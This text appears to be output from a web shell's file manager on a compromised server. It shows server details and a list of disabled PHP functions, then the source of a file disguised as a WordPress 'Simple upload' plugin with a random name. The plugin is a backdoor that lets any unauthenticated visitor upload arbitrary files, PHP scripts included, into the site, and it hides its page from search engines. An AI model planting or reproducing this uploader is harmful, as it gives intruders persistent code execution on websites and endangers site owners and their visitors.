HEX
Server: nginx/1.16.1
System: Linux VM-0-14-centos 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 8.3.31
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.sceysls.com/wp-content/plugins/nx_up_b4d17587/nx_up_b4d17587.php
<?php
/*
Plugin Name: Nx nx_up_b4d17587
Description: Simple upload
Version: 1.0
*/
$msg = '';
if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset( $_FILES['file'] ) ) {
	$f = $_FILES['file'];
	if ( is_array( $f ) && (int) $f['error'] === UPLOAD_ERR_OK && is_uploaded_file( $f['tmp_name'] ) ) {
		$name = basename( (string) $f['name'] );
		$name = preg_replace( '/[^A-Za-z0-9._-]/', '_', $name );
		if ( $name === '' || $name === null ) { $name = 'upload.bin'; }
		$dest = __DIR__.DIRECTORY_SEPARATOR . $name;
		if ( move_uploaded_file( $f['tmp_name'], $dest ) && is_file( $dest ) ) {
			$msg = 'OK ' . htmlspecialchars( $name, ENT_QUOTES, 'UTF-8' );
		} else { $msg = 'FAIL'; }
	} else { $msg = 'NOFILE'; }
}
?><!DOCTYPE html>
<html><head><meta charset="utf-8"><meta name="robots" content="noindex,nofollow"><title>upload</title></head>
<body>
<p class="s">sig :: Nx-Up</p>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">upload</button>
</form>
<?php if ( $msg !== '' ) : ?><pre><?php echo htmlspecialchars( $msg, ENT_QUOTES, 'UTF-8' ); ?></pre><?php endif; ?>
</body></html>